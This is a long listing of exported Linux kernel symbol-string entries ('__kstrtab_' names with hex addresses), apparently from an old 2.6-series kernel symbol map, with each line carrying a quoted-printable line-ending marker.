1033414c r __kstrtab_pcibios_bus_to_resource=0A=
10334164 r __kstrtab_pcibios_resource_to_bus=0A=
1033417c r __kstrtab_outl=0A=
10334184 r __kstrtab_outw=0A=
1033418c r __kstrtab_outb=0A=
10334194 r __kstrtab_inl=0A=
10334198 r __kstrtab_inw=0A=
1033419c r __kstrtab_inb=0A=
103341a0 r __kstrtab_init_task=0A=
103341ac r __kstrtab_init_mm=0A=
103341b4 r __kstrtab_io_schedule=0A=
103341c0 r __kstrtab_yield=0A=
103341c8 r __kstrtab_cond_resched_softirq=0A=
103341e0 r __kstrtab_cond_resched_lock=0A=
103341f4 r __kstrtab_cond_resched=0A=
10334204 r __kstrtab_cpu_present_map=0A=
10334214 r __kstrtab_sched_setscheduler=0A=
10334228 r __kstrtab_task_nice=0A=
10334234 r __kstrtab_set_user_nice=0A=
10334244 r __kstrtab_sleep_on_timeout=0A=
10334258 r __kstrtab_sleep_on=0A=
10334264 r __kstrtab_interruptible_sleep_on_timeout=0A=
10334284 r __kstrtab_interruptible_sleep_on=0A=
1033429c r __kstrtab_wait_for_completion_interruptible_timeout=0A=
103342c8 r __kstrtab_wait_for_completion_interruptible=0A=
103342ec r __kstrtab_wait_for_completion_timeout=0A=
10334308 r __kstrtab_wait_for_completion=0A=
1033431c r __kstrtab_complete_all=0A=
1033432c r __kstrtab_complete=0A=
10334338 r __kstrtab___wake_up_sync=0A=
10334348 r __kstrtab___wake_up=0A=
10334354 r __kstrtab_default_wake_function=0A=
1033436c r __kstrtab_schedule=0A=
10334378 r __kstrtab_per_cpu__kstat=0A=
10334388 r __kstrtab_wake_up_process=0A=
10334398 r __kstrtab___put_task_struct_cb=0A=
103343b0 r __kstrtab_unshare_files=0A=
103343c0 r __kstrtab_copy_fs_struct=0A=
103343d0 r __kstrtab_get_task_mm=0A=
103343dc r __kstrtab_mmput=0A=
103343e4 r __kstrtab_free_task=0A=
103343f0 r __kstrtab_tasklist_lock=0A=
10334400 r __kstrtab___set_personality=0A=
10334414 r __kstrtab_unregister_exec_domain=0A=
1033442c r __kstrtab_register_exec_domain=0A=
10334444 r __kstrtab_add_taint=0A=
10334450 r __kstrtab_panic=0A=
10334458 r __kstrtab_panic_blink=0A=
10334464 r __kstrtab_panic_notifier_list=0A=
10334478 r __kstrtab_panic_timeout=0A=
10334488 r __kstrtab_printk_ratelimit=0A=
1033449c r __kstrtab___printk_ratelimit=0A=
103344b0 r __kstrtab_unregister_console=0A=
103344c4 r __kstrtab_register_console=0A=
103344d8 r __kstrtab_console_start=0A=
103344e8 r __kstrtab_console_stop=0A=
103344f8 r __kstrtab_console_print=0A=
10334508 r __kstrtab_console_conditional_schedule=0A=
10334528 r __kstrtab_release_console_sem=0A=
1033453c r __kstrtab_is_console_locked=0A=
10334550 r __kstrtab_try_acquire_console_sem=0A=
10334568 r __kstrtab_acquire_console_sem=0A=
1033457c r __kstrtab_vprintk=0A=
10334584 r __kstrtab_printk=0A=
1033458c r __kstrtab_oops_in_progress=0A=
103345a0 r __kstrtab_console_printk=0A=
103345b0 r __kstrtab_profile_event_unregister=0A=
103345cc r __kstrtab_profile_event_register=0A=
103345e4 r __kstrtab_next_thread=0A=
103345f0 r __kstrtab_complete_and_exit=0A=
10334604 r __kstrtab_do_exit=0A=
1033460c r __kstrtab_exit_fs=0A=
10334614 r __kstrtab_put_files_struct=0A=
10334628 r __kstrtab_daemonize=0A=
10334634 r __kstrtab_disallow_signal=0A=
10334644 r __kstrtab_allow_signal=0A=
10334654 r __kstrtab_jiffies=0A=
1033465c r __kstrtab_get_jiffies_64=0A=
1033466c r __kstrtab_mktime=0A=
10334674 r __kstrtab_getnstimeofday=0A=
10334684 r __kstrtab_timespec_trunc=0A=
10334694 r __kstrtab_current_fs_time=0A=
103346a4 r __kstrtab_current_kernel_time=0A=
103346b8 r __kstrtab_sys_tz=0A=
103346c0 r __kstrtab_tasklet_kill=0A=
103346d0 r __kstrtab_tasklet_init=0A=
103346e0 r __kstrtab___tasklet_hi_schedule=0A=
103346f8 r __kstrtab___tasklet_schedule=0A=
1033470c r __kstrtab_open_softirq=0A=
1033471c r __kstrtab_raise_softirq_irqoff=0A=
10334734 r __kstrtab_local_bh_enable=0A=
10334744 r __kstrtab_do_softirq=0A=
10334750 r __kstrtab_irq_stat=0A=
1033475c r __kstrtab___release_region=0A=
10334770 r __kstrtab___check_region=0A=
10334780 r __kstrtab___request_region=0A=
10334794 r __kstrtab_adjust_resource=0A=
103347a4 r __kstrtab_insert_resource=0A=
103347b4 r __kstrtab_allocate_resource=0A=
103347c8 r __kstrtab_release_resource=0A=
103347dc r __kstrtab_____request_resource=0A=
103347f4 r __kstrtab_request_resource=0A=
10334808 r __kstrtab_iomem_resource=0A=
10334818 r __kstrtab_ioport_resource=0A=
10334828 r __kstrtab_unregister_sysctl_table=0A=
10334840 r __kstrtab_sysctl_string=0A=
10334850 r __kstrtab_sysctl_ms_jiffies=0A=
10334864 r __kstrtab_sysctl_jiffies=0A=
10334874 r __kstrtab_sysctl_intvec=0A=
10334884 r __kstrtab_register_sysctl_table=0A=
1033489c r __kstrtab_proc_doulongvec_ms_jiffies_minmax=0A=
103348c0 r __kstrtab_proc_doulongvec_minmax=0A=
103348d8 r __kstrtab_proc_dostring=0A=
103348e8 r __kstrtab_proc_dointvec_ms_jiffies=0A=
10334904 r __kstrtab_proc_dointvec_userhz_jiffies=0A=
10334924 r __kstrtab_proc_dointvec_minmax=0A=
1033493c r __kstrtab_proc_dointvec_jiffies=0A=
10334954 r __kstrtab_proc_dointvec=0A=
10334964 r __kstrtab_cap_bset=0A=
10334970 r __kstrtab_securebits=0A=
1033497c r __kstrtab_msleep_interruptible=0A=
10334994 r __kstrtab_msleep=0A=
1033499c r __kstrtab_schedule_timeout_uninterruptible=0A=
103349c0 r __kstrtab_schedule_timeout_interruptible=0A=
103349e0 r __kstrtab_schedule_timeout=0A=
103349f4 r __kstrtab_xtime_lock=0A=
10334a00 r __kstrtab_avenrun=0A=
10334a08 r __kstrtab_xtime=0A=
10334a10 r __kstrtab_del_timer=0A=
10334a1c r __kstrtab_mod_timer=0A=
10334a28 r __kstrtab___mod_timer=0A=
10334a34 r __kstrtab_init_timer=0A=
10334a40 r __kstrtab___init_timer_base=0A=
10334a54 r __kstrtab_jiffies_64=0A=
10334a60 r __kstrtab_unblock_all_signals=0A=
10334a74 r __kstrtab_block_all_signals=0A=
10334a88 r __kstrtab_sigprocmask=0A=
10334a94 r __kstrtab_send_sig_info=0A=
10334aa4 r __kstrtab_send_sig=0A=
10334ab0 r __kstrtab_ptrace_notify=0A=
10334ac0 r __kstrtab_kill_proc=0A=
10334acc r __kstrtab_kill_pg=0A=
10334ad4 r __kstrtab_force_sig=0A=
10334ae0 r __kstrtab_flush_signals=0A=
10334af0 r __kstrtab_dequeue_signal=0A=
10334b00 r __kstrtab_recalc_sigpending=0A=
10334b14 r __kstrtab_kill_proc_info_as_uid=0A=
10334b2c r __kstrtab_uts_sem=0A=
10334b34 r __kstrtab_in_egroup_p=0A=
10334b40 r __kstrtab_in_group_p=0A=
10334b4c r __kstrtab_set_current_groups=0A=
10334b60 r __kstrtab_groups_free=0A=
10334b6c r __kstrtab_groups_alloc=0A=
10334b7c r __kstrtab_kernel_power_off=0A=
10334b90 r __kstrtab_kernel_halt=0A=
10334b9c r __kstrtab_kernel_kexec=0A=
10334bac r __kstrtab_kernel_restart=0A=
10334bbc r __kstrtab_emergency_restart=0A=
10334bd0 r __kstrtab_capable=0A=
10334bd8 r __kstrtab_unregister_reboot_notifier=0A=
10334bf4 r __kstrtab_register_reboot_notifier=0A=
10334c10 r __kstrtab_notifier_call_chain=0A=
10334c24 r __kstrtab_notifier_chain_unregister=0A=
10334c40 r __kstrtab_notifier_chain_register=0A=
10334c58 r __kstrtab_fs_overflowgid=0A=
10334c68 r __kstrtab_fs_overflowuid=0A=
10334c78 r __kstrtab_call_usermodehelper_keys=0A=
10334c94 r __kstrtab_request_module=0A=
10334ca4 r __kstrtab_flush_scheduled_work=0A=
10334cbc r __kstrtab_schedule_delayed_work_on=0A=
10334cd8 r __kstrtab_schedule_delayed_work=0A=
10334cf0 r __kstrtab_schedule_work=0A=
10334d00 r __kstrtab_destroy_workqueue=0A=
10334d14 r __kstrtab_flush_workqueue=0A=
10334d24 r __kstrtab_queue_delayed_work=0A=
10334d38 r __kstrtab_queue_work=0A=
10334d44 r __kstrtab___create_workqueue=0A=
10334d58 r __kstrtab_cancel_rearming_delayed_work=0A=
10334d78 r __kstrtab_cancel_rearming_delayed_workqueue=0A=
10334d9c r __kstrtab_find_task_by_pid_type=0A=
10334db4 r __kstrtab_synchronize_kernel=0A=
10334dc8 r __kstrtab_synchronize_rcu=0A=
10334dd8 r __kstrtab_call_rcu_bh=0A=
10334de4 r __kstrtab_call_rcu=0A=
10334df0 r __kstrtab_rcu_batches_completed=0A=
10334e08 r __kstrtab_rcu_barrier=0A=
10334e14 r __kstrtab_param_get_string=0A=
10334e28 r __kstrtab_param_set_copystring=0A=
10334e40 r __kstrtab_param_array_get=0A=
10334e50 r __kstrtab_param_array_set=0A=
10334e60 r __kstrtab_param_get_invbool=0A=
10334e74 r __kstrtab_param_set_invbool=0A=
10334e88 r __kstrtab_param_get_bool=0A=
10334e98 r __kstrtab_param_set_bool=0A=
10334ea8 r __kstrtab_param_get_charp=0A=
10334eb8 r __kstrtab_param_set_charp=0A=
10334ec8 r __kstrtab_param_get_ulong=0A=
10334ed8 r __kstrtab_param_set_ulong=0A=
10334ee8 r __kstrtab_param_get_long=0A=
10334ef8 r __kstrtab_param_set_long=0A=
10334f08 r __kstrtab_param_get_uint=0A=
10334f18 r __kstrtab_param_set_uint=0A=
10334f28 r __kstrtab_param_get_int=0A=
10334f38 r __kstrtab_param_set_int=0A=
10334f48 r __kstrtab_param_get_ushort=0A=
10334f5c r __kstrtab_param_set_ushort=0A=
10334f70 r __kstrtab_param_get_short=0A=
10334f80 r __kstrtab_param_set_short=0A=
10334f90 r __kstrtab_param_get_byte=0A=
10334fa0 r __kstrtab_param_set_byte=0A=
10334fb0 r __kstrtab_do_posix_clock_nonanosleep=0A=
10334fcc r __kstrtab_do_posix_clock_notimer_create=0A=
10334fec r __kstrtab_do_posix_clock_nosettime=0A=
10335008 r __kstrtab_register_posix_clock=0A=
10335020 r __kstrtab_posix_timer_event=0A=
10335034 r __kstrtab_kthread_stop_sem=0A=
10335048 r __kstrtab_kthread_stop=0A=
10335058 r __kstrtab_kthread_bind=0A=
10335068 r __kstrtab_kthread_create=0A=
10335078 r __kstrtab_kthread_should_stop=0A=
1033508c r __kstrtab_bit_waitqueue=0A=
1033509c r __kstrtab_wake_up_bit=0A=
103350a8 r __kstrtab___wake_up_bit=0A=
103350b8 r __kstrtab_out_of_line_wait_on_bit_lock=0A=
103350d8 r __kstrtab___wait_on_bit_lock=0A=
103350ec r __kstrtab_out_of_line_wait_on_bit=0A=
10335104 r __kstrtab___wait_on_bit=0A=
10335114 r __kstrtab_wake_bit_function=0A=
10335128 r __kstrtab_autoremove_wake_function=0A=
10335144 r __kstrtab_finish_wait=0A=
10335150 r __kstrtab_prepare_to_wait_exclusive=0A=
1033516c r __kstrtab_prepare_to_wait=0A=
1033517c r __kstrtab_remove_wait_queue=0A=
10335190 r __kstrtab_add_wait_queue_exclusive=0A=
103351ac r __kstrtab_add_wait_queue=0A=
103351bc r __kstrtab___kfifo_get=0A=
103351c8 r __kstrtab___kfifo_put=0A=
103351d4 r __kstrtab_kfifo_free=0A=
103351e0 r __kstrtab_kfifo_alloc=0A=
103351ec r __kstrtab_kfifo_init=0A=
103351f8 r __kstrtab_mutex_trylock=0A=
10335208 r __kstrtab_mutex_lock_interruptible=0A=
10335224 r __kstrtab_mutex_unlock=0A=
10335234 r __kstrtab_mutex_lock=0A=
10335240 r __kstrtab___mutex_init=0A=
10335250 r __kstrtab_ktime_get_ts=0A=
10335260 r __kstrtab_ktime_get_real=0A=
10335270 r __kstrtab_module_remove_driver=0A=
10335288 r __kstrtab_module_add_driver=0A=
1033529c r __kstrtab___symbol_get=0A=
103352ac r __kstrtab_symbol_put_addr=0A=
103352bc r __kstrtab___symbol_put=0A=
103352cc r __kstrtab_module_refcount=0A=
103352dc r __kstrtab___module_put_and_exit=0A=
103352f4 r __kstrtab_unregister_module_notifier=0A=
10335310 r __kstrtab_register_module_notifier=0A=
1033532c r __kstrtab___print_symbol=0A=
1033533c r __kstrtab_kallsyms_lookup_name=0A=
10335354 r __kstrtab_kernel_subsys=0A=
10335364 r __kstrtab_request_irq=0A=
10335370 r __kstrtab_free_irq=0A=
1033537c r __kstrtab_enable_irq=0A=
10335388 r __kstrtab_disable_irq=0A=
10335394 r __kstrtab_disable_irq_nosync=0A=
103353a8 r __kstrtab_probe_irq_off=0A=
103353b8 r __kstrtab_probe_irq_mask=0A=
103353c8 r __kstrtab_probe_irq_on=0A=
103353d8 r __kstrtab_max_pfn=0A=
103353e0 r __kstrtab_generic_file_writev=0A=
103353f4 r __kstrtab_generic_file_readv=0A=
10335408 r __kstrtab_generic_file_write=0A=
1033541c r __kstrtab_generic_file_aio_write=0A=
10335434 r __kstrtab_generic_file_write_nolock=0A=
10335450 r __kstrtab_generic_file_aio_write_nolock=0A=
10335470 r __kstrtab_generic_file_buffered_write=0A=
1033548c r __kstrtab_generic_file_direct_write=0A=
103354a8 r __kstrtab_generic_write_checks=0A=
103354c0 r __kstrtab_remove_suid=0A=
103354cc r __kstrtab_read_cache_page=0A=
103354dc r __kstrtab_generic_file_readonly_mmap=0A=
103354f8 r __kstrtab_generic_file_mmap=0A=
1033550c r __kstrtab_filemap_populate=0A=
10335520 r __kstrtab_filemap_nopage=0A=
10335530 r __kstrtab_generic_file_sendfile=0A=
10335548 r __kstrtab_generic_file_read=0A=
1033555c r __kstrtab_generic_file_aio_read=0A=
10335574 r __kstrtab___generic_file_aio_read=0A=
1033558c r __kstrtab_do_generic_mapping_read=0A=
103355a4 r __kstrtab_grab_cache_page_nowait=0A=
103355bc r __kstrtab_find_or_create_page=0A=
103355d0 r __kstrtab_find_lock_page=0A=
103355e0 r __kstrtab_find_trylock_page=0A=
103355f4 r __kstrtab_find_get_page=0A=
10335604 r __kstrtab___lock_page=0A=
10335610 r __kstrtab_end_page_writeback=0A=
10335624 r __kstrtab_unlock_page=0A=
10335630 r __kstrtab_wait_on_page_bit=0A=
10335644 r __kstrtab_add_to_page_cache=0A=
10335658 r __kstrtab_filemap_write_and_wait=0A=
10335670 r __kstrtab_filemap_fdatawait=0A=
10335684 r __kstrtab_sync_page_range_nolock=0A=
1033569c r __kstrtab_sync_page_range=0A=
103356ac r __kstrtab_filemap_flush=0A=
103356bc r __kstrtab_filemap_fdatawrite=0A=
103356d0 r __kstrtab_mempool_free_slab=0A=
103356e4 r __kstrtab_mempool_alloc_slab=0A=
103356f8 r __kstrtab_mempool_free=0A=
10335708 r __kstrtab_mempool_alloc=0A=
10335718 r __kstrtab_mempool_destroy=0A=
10335728 r __kstrtab_mempool_resize=0A=
10335738 r __kstrtab_mempool_create_node=0A=
1033574c r __kstrtab_mempool_create=0A=
1033575c r __kstrtab_contig_page_data=0A=
10335770 r __kstrtab_si_meminfo=0A=
1033577c r __kstrtab_mod_page_state_offset=0A=
10335794 r __kstrtab___mod_page_state_offset=0A=
103357ac r __kstrtab_nr_pagecache=0A=
103357bc r __kstrtab_nr_free_pages=0A=
103357cc r __kstrtab_free_pages=0A=
103357d8 r __kstrtab___free_pages=0A=
103357e8 r __kstrtab_get_zeroed_page=0A=
103357f8 r __kstrtab___get_free_pages=0A=
1033580c r __kstrtab___alloc_pages=0A=
1033581c r __kstrtab_zone_table=0A=
10335828 r __kstrtab_totalram_pages=0A=
10335838 r __kstrtab_node_possible_map=0A=
1033584c r __kstrtab_node_online_map=0A=
1033585c r __kstrtab_mapping_tagged=0A=
1033586c r __kstrtab_test_set_page_writeback=0A=
10335884 r __kstrtab_clear_page_dirty_for_io=0A=
1033589c r __kstrtab_test_clear_page_dirty=0A=
103358b4 r __kstrtab_set_page_dirty_lock=0A=
103358c8 r __kstrtab_set_page_dirty=0A=
103358d8 r __kstrtab_redirty_page_for_writepage=0A=
103358f4 r __kstrtab___set_page_dirty_nobuffers=0A=
10335910 r __kstrtab_write_one_page=0A=
10335920 r __kstrtab_balance_dirty_pages_ratelimited=0A=
10335940 r __kstrtab_laptop_mode=0A=
1033594c r __kstrtab_read_cache_pages=0A=
10335960 r __kstrtab_default_backing_dev_info=0A=
1033597c r __kstrtab_default_unplug_io_fn=0A=
10335994 r __kstrtab_pagevec_lookup_tag=0A=
103359a8 r __kstrtab_pagevec_lookup=0A=
103359b8 r __kstrtab___pagevec_lru_add=0A=
103359cc r __kstrtab___pagevec_release=0A=
103359e0 r __kstrtab___page_cache_release=0A=
103359f8 r __kstrtab_mark_page_accessed=0A=
10335a0c r __kstrtab_put_page=0A=
10335a18 r __kstrtab_invalidate_inode_pages2=0A=
10335a30 r __kstrtab_invalidate_inode_pages2_range=0A=
10335a50 r __kstrtab_invalidate_inode_pages=0A=
10335a68 r __kstrtab_truncate_inode_pages=0A=
10335a80 r __kstrtab_truncate_inode_pages_range=0A=
10335a9c r __kstrtab_remove_shrinker=0A=
10335aac r __kstrtab_set_shrinker=0A=
10335abc r __kstrtab_kstrdup=0A=
10335ac4 r __kstrtab_kzalloc=0A=
10335acc r __kstrtab_install_page=0A=
10335adc r __kstrtab_blk_queue_bounce=0A=
10335af0 r __kstrtab_vmalloc_to_pfn=0A=
10335b00 r __kstrtab_vmalloc_to_page=0A=
10335b10 r __kstrtab___handle_mm_fault=0A=
10335b24 r __kstrtab_vmtruncate_range=0A=
10335b38 r __kstrtab_vmtruncate=0A=
10335b44 r __kstrtab_unmap_mapping_range=0A=
10335b58 r __kstrtab_remap_pfn_range=0A=
10335b68 r __kstrtab_vm_insert_page=0A=
10335b78 r __kstrtab_get_user_pages=0A=
10335b88 r __kstrtab_vmalloc_earlyreserve=0A=
10335ba0 r __kstrtab_high_memory=0A=
10335bac r __kstrtab_num_physpages=0A=
10335bbc r __kstrtab_mem_map=0A=
10335bc4 r __kstrtab_max_mapnr=0A=
10335bd0 r __kstrtab_do_brk=0A=
10335bd8 r __kstrtab_do_munmap=0A=
10335be4 r __kstrtab_find_vma=0A=
10335bf0 r __kstrtab_get_unmapped_area=0A=
10335c04 r __kstrtab_do_mmap_pgoff=0A=
10335c14 r __kstrtab___vm_enough_memory=0A=
10335c28 r __kstrtab_vmalloc_32=0A=
10335c34 r __kstrtab_vmalloc_node=0A=
10335c44 r __kstrtab_vmalloc=0A=
10335c4c r __kstrtab___vmalloc=0A=
10335c58 r __kstrtab___vmalloc_node=0A=
10335c68 r __kstrtab_vmap=0A=
10335c70 r __kstrtab_vunmap=0A=
10335c78 r __kstrtab_vfree=0A=
10335c80 r __kstrtab_kmem_cache_name=0A=
10335c90 r __kstrtab_kmem_cache_size=0A=
10335ca0 r __kstrtab_kfree=0A=
10335ca8 r __kstrtab_kmem_cache_free=0A=
10335cb8 r __kstrtab___kmalloc=0A=
10335cc4 r __kstrtab_kmem_cache_alloc=0A=
10335cd8 r __kstrtab_kmem_cache_destroy=0A=
10335cec r __kstrtab_kmem_cache_shrink=0A=
10335d00 r __kstrtab_kmem_cache_create=0A=
10335d14 r __kstrtab_kmem_find_general_cachep=0A=
10335d30 r __kstrtab_malloc_sizes=0A=
10335d40 r __kstrtab_nonseekable_open=0A=
10335d54 r __kstrtab_generic_file_open=0A=
10335d68 r __kstrtab_sys_close=0A=
10335d74 r __kstrtab_filp_close=0A=
10335d80 r __kstrtab_sys_open=0A=
10335d8c r __kstrtab_fd_install=0A=
10335d98 r __kstrtab_put_unused_fd=0A=
10335da8 r __kstrtab_get_unused_fd=0A=
10335db8 r __kstrtab_dentry_open=0A=
10335dc4 r __kstrtab_lookup_instantiate_filp=0A=
10335ddc r __kstrtab_filp_open=0A=
10335de8 r __kstrtab_vfs_statfs=0A=
10335df4 r __kstrtab_vfs_writev=0A=
10335e00 r __kstrtab_vfs_readv=0A=
10335e0c r __kstrtab_iov_shorten=0A=
10335e18 r __kstrtab_sys_read=0A=
10335e24 r __kstrtab_vfs_write=0A=
10335e30 r __kstrtab_do_sync_write=0A=
10335e40 r __kstrtab_vfs_read=0A=
10335e4c r __kstrtab_do_sync_read=0A=
10335e5c r __kstrtab_vfs_llseek=0A=
10335e68 r __kstrtab_default_llseek=0A=
10335e78 r __kstrtab_no_llseek=0A=
10335e84 r __kstrtab_remote_llseek=0A=
10335e94 r __kstrtab_generic_file_llseek=0A=
10335ea8 r __kstrtab_generic_ro_fops=0A=
10335eb8 r __kstrtab_fget=0A=
10335ec0 r __kstrtab_fput=0A=
10335ec8 r __kstrtab_get_empty_filp=0A=
10335ed8 r __kstrtab_files_stat=0A=
10335ee4 r __kstrtab_unlock_buffer=0A=
10335ef4 r __kstrtab_sync_dirty_buffer=0A=
10335f08 r __kstrtab_submit_bh=0A=
10335f14 r __kstrtab_mark_buffer_dirty=0A=
10335f28 r __kstrtab_ll_rw_block=0A=
10335f34 r __kstrtab_invalidate_bdev=0A=
10335f44 r __kstrtab_init_buffer=0A=
10335f50 r __kstrtab_generic_cont_expand_simple=0A=
10335f6c r __kstrtab_generic_cont_expand=0A=
10335f80 r __kstrtab_generic_commit_write=0A=
10335f98 r __kstrtab_generic_block_bmap=0A=
10335fac r __kstrtab_fsync_bdev=0A=
10335fb8 r __kstrtab_file_fsync=0A=
10335fc4 r __kstrtab_end_buffer_write_sync=0A=
10335fdc r __kstrtab_end_buffer_read_sync=0A=
10335ff4 r __kstrtab_end_buffer_async_write=0A=
1033600c r __kstrtab_cont_prepare_write=0A=
10336020 r __kstrtab_block_write_full_page=0A=
10336038 r __kstrtab_block_truncate_page=0A=
1033604c r __kstrtab_block_sync_page=0A=
1033605c r __kstrtab_block_read_full_page=0A=
10336074 r __kstrtab_block_prepare_write=0A=
10336088 r __kstrtab_block_commit_write=0A=
1033609c r __kstrtab___wait_on_buffer=0A=
103360b0 r __kstrtab___brelse=0A=
103360bc r __kstrtab___bforget=0A=
103360c8 r __kstrtab_free_buffer_head=0A=
103360dc r __kstrtab_alloc_buffer_head=0A=
103360f0 r __kstrtab_try_to_free_buffers=0A=
10336104 r __kstrtab_nobh_truncate_page=0A=
10336118 r __kstrtab_nobh_writepage=0A=
10336128 r __kstrtab_nobh_commit_write=0A=
1033613c r __kstrtab_nobh_prepare_write=0A=
10336150 r __kstrtab_unmap_underlying_metadata=0A=
1033616c r __kstrtab_create_empty_buffers=0A=
10336184 r __kstrtab_block_invalidatepage=0A=
1033619c r __kstrtab_try_to_release_page=0A=
103361b0 r __kstrtab_set_bh_page=0A=
103361bc r __kstrtab___bread=0A=
103361c4 r __kstrtab___breadahead=0A=
103361d4 r __kstrtab___getblk=0A=
103361e0 r __kstrtab___find_get_block=0A=
103361f4 r __kstrtab_alloc_page_buffers=0A=
10336208 r __kstrtab___set_page_dirty_buffers=0A=
10336224 r __kstrtab_mark_buffer_dirty_inode=0A=
1033623c r __kstrtab_sync_mapping_buffers=0A=
10336254 r __kstrtab_mark_buffer_async_write=0A=
1033626c r __kstrtab_thaw_bdev=0A=
10336278 r __kstrtab_freeze_bdev=0A=
10336284 r __kstrtab_sync_blockdev=0A=
10336294 r __kstrtab___lock_buffer=0A=
103362a4 r __kstrtab_bio_alloc_bioset=0A=
103362b8 r __kstrtab_bioset_free=0A=
103362c4 r __kstrtab_bioset_create=0A=
103362d4 r __kstrtab_bio_uncopy_user=0A=
103362e4 r __kstrtab_bio_copy_user=0A=
103362f4 r __kstrtab_bio_split_pool=0A=
10336304 r __kstrtab_bio_split=0A=
10336310 r __kstrtab_bio_pair_release=0A=
10336324 r __kstrtab_bio_map_kern=0A=
10336334 r __kstrtab_bio_unmap_user=0A=
10336344 r __kstrtab_bio_map_user=0A=
10336354 r __kstrtab_bio_get_nr_vecs=0A=
10336364 r __kstrtab_bio_add_pc_page=0A=
10336374 r __kstrtab_bio_add_page=0A=
10336384 r __kstrtab_bio_hw_segments=0A=
10336394 r __kstrtab_bio_phys_segments=0A=
103363a8 r __kstrtab_bio_clone=0A=
103363b4 r __kstrtab___bio_clone=0A=
103363c0 r __kstrtab_bio_init=0A=
103363cc r __kstrtab_bio_endio=0A=
103363d8 r __kstrtab_bio_free=0A=
103363e4 r __kstrtab_bio_put=0A=
103363ec r __kstrtab_bio_alloc=0A=
103363f8 r __kstrtab_zero_fill_bio=0A=
10336408 r __kstrtab_kern_mount=0A=
10336414 r __kstrtab_do_kern_mount=0A=
10336424 r __kstrtab_get_sb_single=0A=
10336434 r __kstrtab_get_sb_nodev=0A=
10336444 r __kstrtab_kill_block_super=0A=
10336458 r __kstrtab_get_sb_bdev=0A=
10336464 r __kstrtab_kill_litter_super=0A=
10336478 r __kstrtab_kill_anon_super=0A=
10336488 r __kstrtab_set_anon_super=0A=
10336498 r __kstrtab_get_super=0A=
103364a4 r __kstrtab_drop_super=0A=
103364b0 r __kstrtab_sget=0A=
103364b8 r __kstrtab_generic_shutdown_super=0A=
103364d0 r __kstrtab_deactivate_super=0A=
103364e4 r __kstrtab_close_bdev_excl=0A=
103364f4 r __kstrtab_open_bdev_excl=0A=
10336504 r __kstrtab_ioctl_by_bdev=0A=
10336514 r __kstrtab_blkdev_put=0A=
10336520 r __kstrtab_blkdev_get=0A=
1033652c r __kstrtab_bd_set_size=0A=
10336538 r __kstrtab_check_disk_change=0A=
1033654c r __kstrtab_open_by_devnum=0A=
1033655c r __kstrtab_bd_release=0A=
10336568 r __kstrtab_bd_claim=0A=
10336574 r __kstrtab_bdput=0A=
1033657c r __kstrtab_bdget=0A=
10336584 r __kstrtab_sb_min_blocksize=0A=
10336598 r __kstrtab_sb_set_blocksize=0A=
103365ac r __kstrtab_set_blocksize=0A=
103365bc r __kstrtab_I_BDEV=0A=
103365c4 r __kstrtab_unregister_chrdev=0A=
103365d8 r __kstrtab_register_chrdev=0A=
103365e8 r __kstrtab_cdev_add=0A=
103365f4 r __kstrtab_cdev_del=0A=
10336600 r __kstrtab_cdev_alloc=0A=
1033660c r __kstrtab_cdev_init=0A=
10336618 r __kstrtab_alloc_chrdev_region=0A=
1033662c r __kstrtab_unregister_chrdev_region=0A=
10336648 r __kstrtab_register_chrdev_region=0A=
10336660 r __kstrtab_inode_set_bytes=0A=
10336670 r __kstrtab_inode_get_bytes=0A=
10336680 r __kstrtab_inode_sub_bytes=0A=
10336690 r __kstrtab_inode_add_bytes=0A=
103366a0 r __kstrtab_vfs_fstat=0A=
103366ac r __kstrtab_vfs_lstat=0A=
103366b8 r __kstrtab_vfs_stat=0A=
103366c4 r __kstrtab_vfs_getattr=0A=
103366d0 r __kstrtab_generic_fillattr=0A=
103366e4 r __kstrtab_set_binfmt=0A=
103366f0 r __kstrtab_search_binary_handler=0A=
10336708 r __kstrtab_remove_arg_zero=0A=
10336718 r __kstrtab_compute_creds=0A=
10336728 r __kstrtab_prepare_binprm=0A=
10336738 r __kstrtab_flush_old_exec=0A=
10336748 r __kstrtab_kernel_read=0A=
10336754 r __kstrtab_open_exec=0A=
10336760 r __kstrtab_setup_arg_pages=0A=
10336770 r __kstrtab_copy_strings_kernel=0A=
10336784 r __kstrtab_unregister_binfmt=0A=
10336798 r __kstrtab_register_binfmt=0A=
103367a8 r __kstrtab_suid_dumpable=0A=
103367b8 r __kstrtab_generic_readlink=0A=
103367cc r __kstrtab_dentry_unhash=0A=
103367dc r __kstrtab_vfs_unlink=0A=
103367e8 r __kstrtab_vfs_symlink=0A=
103367f4 r __kstrtab_vfs_rmdir=0A=
10336800 r __kstrtab_vfs_rename=0A=
1033680c r __kstrtab_vfs_readlink=0A=
1033681c r __kstrtab_generic_permission=0A=
10336830 r __kstrtab_vfs_mknod=0A=
1033683c r __kstrtab_vfs_mkdir=0A=
10336848 r __kstrtab_vfs_link=0A=
10336854 r __kstrtab_vfs_follow_link=0A=
10336864 r __kstrtab_vfs_create=0A=
10336870 r __kstrtab_unlock_rename=0A=
10336880 r __kstrtab_file_permission=0A=
10336890 r __kstrtab_vfs_permission=0A=
103368a0 r __kstrtab_permission=0A=
103368ac r __kstrtab_path_walk=0A=
103368b8 r __kstrtab_path_release=0A=
103368c8 r __kstrtab_path_lookup=0A=
103368d4 r __kstrtab_page_symlink_inode_operations=0A=
103368f4 r __kstrtab_page_symlink=0A=
10336904 r __kstrtab_page_readlink=0A=
10336914 r __kstrtab_page_put_link=0A=
10336924 r __kstrtab_page_follow_link_light=0A=
1033693c r __kstrtab_lookup_one_len=0A=
1033694c r __kstrtab_lookup_hash=0A=
10336958 r __kstrtab_lock_rename=0A=
10336964 r __kstrtab_getname=0A=
1033696c r __kstrtab_get_write_access=0A=
10336980 r __kstrtab_follow_up=0A=
1033698c r __kstrtab_follow_down=0A=
10336998 r __kstrtab___user_walk=0A=
103369a4 r __kstrtab_lookup_create=0A=
103369b4 r __kstrtab_kill_fasync=0A=
103369c0 r __kstrtab___kill_fasync=0A=
103369d0 r __kstrtab_fasync_helper=0A=
103369e0 r __kstrtab_f_setown=0A=
103369ec r __kstrtab_vfs_readdir=0A=
103369f8 r __kstrtab_poll_freewait=0A=
10336a08 r __kstrtab_poll_initwait=0A=
10336a18 r __kstrtab_steal_locks=0A=
10336a24 r __kstrtab_lock_may_write=0A=
10336a34 r __kstrtab_lock_may_read=0A=
10336a44 r __kstrtab_posix_unblock_lock=0A=
10336a58 r __kstrtab_posix_block_lock=0A=
10336a6c r __kstrtab_locks_remove_posix=0A=
10336a80 r __kstrtab_flock_lock_file_wait=0A=
10336a98 r __kstrtab_setlease=0A=
10336aa4 r __kstrtab_lease_get_mtime=0A=
